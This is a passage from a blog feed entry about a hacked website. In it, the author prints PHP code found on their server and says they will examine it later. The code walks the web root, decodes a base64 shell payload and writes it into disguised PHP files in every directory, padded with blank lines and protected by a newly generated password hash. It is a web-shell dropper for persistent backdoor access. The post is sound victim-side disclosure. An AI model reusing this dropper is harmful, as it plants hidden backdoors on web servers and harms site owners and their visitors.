$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo &quot;&lt;pre&gt;&quot;;
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = &quot;namogofer.$fe&quot;;

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' =&gt; '', 'dir' =&gt; 0, 'file' =&gt; 0, 'simtype' =&gt; 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = &quot;&quot;;
  $possible = &quot;abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&amp;*&quot;; 
  $i = 0;
  while ($i &lt; 15) 
    { 
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char)) 
      { 
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace(&quot;|define\('PASSWD',\s*'(.*)'|&quot;, &quot;define('PASSWD','$md5password'&quot;, $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo &quot;pass &quot;.substr($tx, 0, strlen($ca)).&quot; in $tx for $ca\n&quot;;
    if (&quot;$ca&quot; == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo &quot;gotcha\n&quot;;
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l) 
  {
  global $C, $FCNT, $FN, $fui, $pres;
  
    $the_data = base64_decode(SHCODE);
    $the_dir = opendir(&quot;$d&quot;);
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=
                
                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))
                 
              )
              {
              $FN = &quot;$fui$cfile&quot;;
              break;
              }
              else
              {
              //echo &quot;pass $cfile\n&quot;;
              }
            }
                         
        if ( $is_php and my_fwrite(&quot;$d$FN&quot;, str_repeat(&quot;\n&quot;,100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . &quot;\n&quot; . str_repeat(&quot;\n&quot;, 100))))
                    {
                    $FCNT['fn'] = r_cut(&quot;$d$FN&quot;);
                    say(implode(&quot; &quot;, $FCNT));
                    }

  };

walkdir(&quot;$R/&quot;);
testdata('end');
?&gt;</pre>
<p>I will try anyway to put a deeper look when I have a little time : now, I have to go to work.</p>
]]></content:encoded>
			<wfw:commentRss>/2008/06/03/hacked.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
